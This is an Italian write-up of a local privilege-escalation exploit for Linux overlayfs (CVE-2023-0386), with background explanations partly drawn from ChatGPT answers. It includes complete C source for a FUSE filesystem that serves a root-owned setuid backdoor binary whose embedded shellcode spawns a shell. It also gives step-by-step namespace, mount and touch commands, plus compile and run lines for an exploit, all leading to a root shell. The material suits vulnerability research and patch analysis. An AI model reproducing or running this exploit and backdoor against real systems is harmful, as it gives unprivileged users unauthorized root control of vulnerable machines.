
Exploit di escalation dei privilegi locale per CVE-2023-0386 che mira a overlayfs del kernel Linux. Include analisi dettagliata della vulnerabilità, codice PoC e guida allo sfruttamento passo-passo utilizzando FUSE e user namespaces.
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

La conoscenza teorica in questo articolo (namespace, overlay filesystem, fuse filesystem, ecc.) proviene da chatGPT.
ID vulnerabilità: CVE-2023-0386
Prodotto vulnerabile: kernel Linux - overlay filesystem
Interessato: 5.11 ~ 5.19
Prerequisiti: capacità di eseguire unshare o creare un overlay filesystem
Effetto: escalation dei privilegi locali
Compilare il kernel manualmente:
Preparare una versione all'interno dell'intervallo vulnerabile, esclusa la 5.15 (pare che la 5.15 abbia dei problemi), abilitare i due fs overlay e fuse:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
Ubuntu 21.10 con kernel 5.13.0-16-generic testato funzionante:

Prima dell'analisi della vulnerabilità, facciamo impersonare a chatGPT un esperto del kernel Linux:
(Chiedere a chatGPT: ora interpreterai un esperto del kernel Linux per aiutarmi a rispondere ad alcune domande)
Le informazioni pubbliche sulla vulnerabilità sono scarse; la più diretta è la patch. Link alla patch:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

Si può vedere che è stato aggiunto un controllo nella funzione ovl_copy_up_one. Chiediamo prima a chatGPT cosa fa questa funzione:

Quindi questa funzione si verifica durante l'operazione di copia dal layer inferiore al layer superiore nell'overlay filesystem. Ora analizziamo il nuovo controllo della patch nel contesto:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat, //[1] Ottiene le stat del filesystem sottostante
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2] La patch aggiunge il controllo se user id e group id nelle stat del file sono mappati nel namespace corrente
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] Innanzitutto, tramite la funzione vfs_getattr recupera gli attributi del file di destinazione nel filesystem sottostante. vfs_getattr ottiene la struttura struct stat corrispondente a un file passando una struttura struct path.
[1.1] ctx.lowerpath è il percorso di un file nel filesystem inferiore dell'overlay filesystem. L'overlay filesystem verrà introdotto successivamente.
[1.2] La struttura struct stat contiene informazioni sui metadati del file, inclusi il proprietario e il gruppo. Le informazioni sul proprietario del file così ottenute vengono verificate nel controllo aggiunto dalla patch.
[2] Quindi chiama la funzione kuid_has_mapping per verificare le informazioni sul proprietario e sul gruppo del file appena ottenute. Controlla se il proprietario e il gruppo del file di destinazione sono mappati nel namespace utente corrente.
[2.1] La funzione kuid_has_mapping riceve due parametri: una struttura struct user_namespace (namespace utente) e una struttura struct kuid (utente kernel). Questa funzione verifica se le informazioni sull'utente specificato sono mappate nel namespace utente specificato. La mappatura degli utenti nei namespace verrà spiegata in dettaglio più avanti.
Quindi sappiamo che, durante l'esecuzione dell'operazione della funzione vulnerabile (ovl_copy_up_one), se il proprietario o il gruppo del file di destinazione nel layer inferiore non è mappato nel namespace corrente, l'operazione fallirà.
Il principio della patch è quindi chiaro. Tuttavia, per riprodurre la vulnerabilità, dobbiamo risolvere i seguenti problemi:
ovl_copy_up_one, ovvero la copia dal layer inferiore al layer superiore nell'overlay filesystem?lowerpath, il file di cui si verifica la mappatura del proprietario, nella catena logica?Prima di rispondere a queste domande, dobbiamo comprendere alcune conoscenze di base:
(Chiedere a chatGPT: per favore introduci i namespace nel kernel Linux)
In Linux, i namespace sono una funzionalità del kernel utilizzata per implementare l'isolamento delle risorse. Attraverso i namespace, un insieme di processi può apparire come se operasse in ambienti di sistema indipendenti, migliorando la sicurezza e la gestibilità del sistema. I namespace giocano un ruolo chiave nelle tecnologie dei container (come Docker), consentendo ai container di funzionare in ambienti isolati senza influenzare altri container o il sistema host.
Il kernel Linux supporta 7 tipi di namespace (mount, pid, net, ipc, user, time, cgroup), ognuno dei quali isola una specifica categoria di risorse di sistema. I namespace vengono creati, modificati e gestiti tramite una serie di system call (come clone, unshare e setns). I runtime dei container (come Docker) e altri strumenti di virtualizzazione sfruttano queste funzionalità per fornire ambienti di esecuzione indipendenti e isolati per i container.
La funzione di controllo aggiunta dalla patch, kuid_has_mapping, riguarda lo user namespace tra i 7 namespace sopra menzionati.
(Chiedere a chatGPT: per favore introduci lo user namespace)
Lo user namespace viene utilizzato per isolare gli ID utente (UID) e gli ID gruppo (GID). Attraverso lo user namespace, è possibile utilizzare insiemi indipendenti di ID utente e gruppo in diversi namespace. Ciò significa che utenti e gruppi in uno user namespace possono avere ID o permessi diversi in un altro namespace. Lo user namespace migliora la sicurezza e la gestibilità del sistema, specialmente negli ambienti containerizzati.
La caratteristica chiave dello user namespace è la mappatura degli ID: lo user namespace consente di mappare UID e GID da un namespace a un altro. Ciò significa che, in diversi user namespace, gli stessi UID e GID possono rappresentare utenti e gruppi diversi. Ad esempio, un utente root (UID 0) in un container può essere mappato come utente non privilegiato nel sistema host.
Dobbiamo solo ricordare i seguenti punti:
Ad esempio, se l'utente breeze crea un nuovo user namespace e poi in quel namespace guarda un file di proprietà di root, il gruppo visualizzato sarà nobody:

Questo perché nel nuovo namespace, root è l'utente breeze che ha creato il namespace, mentre root del namespace iniziale non è stato mappato manualmente nel nuovo namespace, quindi viene riconosciuto come nobody.
Quindi ora sappiamo il significato di questa patch: per il file da copiare nell'overlay filesystem dal layer inferiore, è necessario che il suo proprietario (gruppo) sia mappato nel namespace corrente, altrimenti l'operazione fallisce. In altre parole, il caso in cui viene riconosciuto come nobody provoca il fallimento della copia.
(Chiedere a chatGPT: per favore introduci l'overlay filesystem in Linux)
L'overlay filesystem (chiamato anche OverlayFS) è un filesystem virtuale del kernel Linux. Consente di unire due o più gerarchie di directory esistenti (chiamate layer “lower” e “upper”) in una vista unificata. L'overlay filesystem è molto utile per implementare la capacità di scrittura su filesystem di sola lettura (come le immagini), poiché reindirizza le operazioni di scrittura a un layer scrivibile sovrapposto. Questo approccio è ampiamente utilizzato nelle tecnologie dei container (come Docker), poiché fornisce una soluzione leggera e performante per la virtualizzazione dei filesystem.
Il diagramma seguente mostra l'effetto della corrispondenza tra le directory effettive dei layer e il layer merged per un overlay filesystem:

Poiché il filesystem superiore è scrivibile, la modifica di un file proveniente dal layer superiore viene effettuata direttamente. Ma se un utente vuole modificare un file nel filesystem inferiore, come il file D nella figura sopra, poiché il filesystem inferiore è di sola lettura, il file D viene copiato (copy up) nel layer superiore diventando file D', e quindi viene modificato. In pratica, viene modificata la copia D' nel layer superiore, mentre il file D originale nel layer inferiore rimane invariato. Questo è il COW (copy on write) nell'overlay filesystem:

(Chiedere a chatGPT: per favore dammi un esempio pratico di come creare un semplice overlay filesystem)
Mostriamo come creare un overlay filesystem con i seguenti passaggi:
Innanzitutto, creiamo le directory lower1, lower2, upper e work. Queste directory saranno utilizzate per l'overlay filesystem. Inoltre, dobbiamo creare un punto di mount (ad esempio, merged) per accedere alla vista unificata. Aggiungiamo anche del contenuto alle directory lower1 e lower2:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
Usiamo il comando mount con l'opzione -t overlay per montare l'overlay filesystem. Dobbiamo specificare i parametri lowerdir, upperdir e workdir, come segue:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
Nella directory merged possiamo vedere i file provenienti dai filesystem dei due layer:

In questa directory, sia che si crei un nuovo file, lo si elimini o lo si modifichi, si modifica solo il filesystem superiore, senza influenzare quello inferiore. Ad esempio, creando un nuovo file (che viene effettivamente creato in upper):

Modificando un file esistente (copiandolo da lower1 in upper e poi modificandolo):

In sintesi, la logica rilevante per la vulnerabilità è: quando modifichiamo un file proveniente dal layer inferiore in un overlay filesystem, il file viene prima copiato nel filesystem superiore e poi viene eseguita la modifica.
Dall'analisi precedente, possiamo ricostruire il quadro completo della vulnerabilità. Se in un overlay filesystem si verifica un'operazione di copy up (tentativo di modificare un file del layer inferiore, attivando la copia dal layer inferiore a quello superiore):
Allora il problema è: perché copiare file il cui proprietario non è mappato causa un problema?
In realtà la risposta alla domanda precedente è semplice: copiare un file non significa solo copiare il contenuto, ma anche i metadati del file, ovvero le informazioni sul proprietario, timestamp, permessi e anche informazioni estese come le capabilities. Il rischio è: se il filesystem inferiore è un filesystem utente (come fuse), altamente controllabile dall'utente, che può personalizzare qualsiasi file, ma tale filesystem ha restrizioni (come nosuid), allora questa vulnerabilità consente di copiare un file suid personalizzato dall'utente da un filesystem nosuid a un filesystem normale, consentendo al file suid illegale di ottenere privilegi suid. Portando così a un'escalation dei privilegi.
(Chiedere a chatGPT: per favore introduci il filesystem fuse)
FUSE (Filesystem in Userspace) è un'interfaccia per filesystem che consente agli utenti di implementare ed eseguire filesystem personalizzati nello spazio utente (anziché nello spazio kernel). FUSE è progettato per semplificare lo sviluppo e il deployment dei filesystem, offrendo buone prestazioni e sicurezza. FUSE è ampiamente utilizzato su Linux e altri sistemi Unix-like (come macOS e FreeBSD).
In parole semplici, il filesystem fuse ci consente di definire autonomamente alcune funzioni callback del filesystem a livello utente (come open, write, readdir e persino getattr, che riguarda i metadati dei file).
Il seguente codice di esempio per un filesystem fuse (generato da chatGPT) può servire sia come esempio didattico che per lo sfruttamento successivo della vulnerabilità:
(Chiedere a chatGPT: per favore dammi un semplice esempio di codice per un filesystem fuse, in cui ci sia un file hello con contenuto "helloworld" e che sia un file suid di proprietà di root)
Dopo semplici modifiche (modifica del contenuto del file con dati binari backdoor, modifica di alcuni permessi, dimensione, ecc.):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello"; // c'è un file chiamato hello nel filesystem fuse, questo è il percorso
const char hello_str[] = { // contenuto binario del file suid backdoor nel filesystem fuse
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf) // funzione callback getattr per ottenere attributi di file/directory
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) { // permessi della directory root del filesystem fuse, 0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) { // permessi del file hello, 777 con SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); // dimensione effettiva del file hello
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) // funzione per ottenere informazioni sulla directory
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) { // al momento supporta solo la visualizzazione della directory root di fuse
return -ENOENT;
}
filler(buf, ".", NULL, 0); // di default mostra . e ..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0); // la directory root di fuse contiene un file hello
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi) // funzione callback open per aprire file
{
if (strcmp(path, hello_path) != 0) { // supporta solo l'apertura del file hello
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) // funzione callback read per leggere file
{
size_t len;
(void) fi;
if (strcmp(path, hello_path) != 0) { // supporta solo la lettura del file hello
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size); // restituisce il contenuto del file hello, l'array binario sopra
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = { // bastano solo le quattro callback sopra implementate
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL); // registra le callback
}
Il codice sopra crea un filesystem fuse con un solo file chiamato hello, il cui contenuto è un programma backdoor binario, e i suoi permessi sono setuid di proprietà di root. Sono state implementate solo quattro callback, sufficienti per visualizzare, aprire e leggere il file hello. Possiamo compilare e montare il filesystem fuse con i seguenti comandi:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
Quindi nella directory fusefs possiamo vedere il nostro file hello, un file suid di proprietà di root:

Tuttavia, un utente normale non può abilitare suid quando monta un filesystem fuse; in altre parole, i filesystem fuse montati da un utente normale sono tutti nosuid. Quindi anche se eseguiamo questo file backdoor suid, non possiamo ottenere i privilegi di root:

Ora usiamo la vulnerabilità CVE-2023-0386 e il filesystem fuse sopra descritto per l'escalation dei privilegi.
Innanzitutto dobbiamo costruire un overlay filesystem secondo lo scenario della vulnerabilità, utilizzando il filesystem fuse come layer inferiore, una directory scrivibile come layer superiore, creare workdir e altre directory relative all'overlay, e montare il filesystem fuse.
mkdir hello_mount_point overlay_mount_point upperdir workdir # crea directory correlate
./hellofs hello_mount_point # monta filesystem fuse

Quindi creare un nuovo user namespace, mount namespace e pid namespace, perché successivamente dovremo creare un overlay filesystem. Di default non abbiamo permessi di mount, quindi nel nuovo namespace otteniamo i permessi di mount.
unshare -Urm

Creare l'overlay filesystem, usando il filesystem fuse contenente il file hello suid backdoor come layer inferiore, e il layer superiore è la directory upper scrivibile:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

L'effetto corrente dell'overlay è mostrato nella figura seguente:

Ora il nostro obiettivo è sfruttare la vulnerabilità per copiare il file suid backdoor dal filesystem fuse montato con nosuid al filesystem upper, che è quello predefinito del sistema operativo e supporta suid. Questa operazione copierà il file backdoor insieme al suo attributo suid. Quindi dobbiamo attivare l'operazione di copy up dell'overlay filesystem, che si verifica tipicamente quando tentiamo di modificare un file del layer inferiore. Questo è anche il motivo per cui nel filesystem fuse abbiamo impostato i permessi del file hello a 777.
In realtà, "modificare un file" non significa solo modificare il contenuto; anche la modifica di altri attributi, come i timestamp, attiva l'operazione di copy up. Il comando touch, quando tenta di creare un file già esistente, non sovrascrive il file esistente, ma modifica solo i timestamp di accesso e modifica. Anche le informazioni sui timestamp sono considerate attributi estesi del file, e la loro modifica attiva la copia verso l'alto nell'overlay filesystem.
La call stack è la seguente: a causa della modifica dei timestamp di accesso e modifica, in ovl_setattr viene attivata la copia verso l'alto (copy up):

Tornando ai passaggi precedenti, dobbiamo solo entrare nella directory merged dell'overlay filesystem e usare touch per modificare i timestamp del file backdoor hello:
touch overlay_mount_point/hello

Qui è già stata attivata la copy up:

Osserviamo la directory upper, cioè upperdir:
ls -al upperdir

Quindi usciamo dal namespace ed eseguiamo upperdir/hello per ottenere una shell da root:

Vedi exp.c
Compilazione ed esecuzione:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
Il significato di questa patch è che, se si tenta di eseguire un'escalation dei privilegi come nel nostro scenario, l'utente root del namespace iniziale non è mappato nel nuovo user namespace (e non possiamo mapparlo perché richiederebbe privilegi), quindi l'operazione fallisce. Se invece l'utente è già mappato nel nuovo namespace, viene considerato uno scenario legittimo.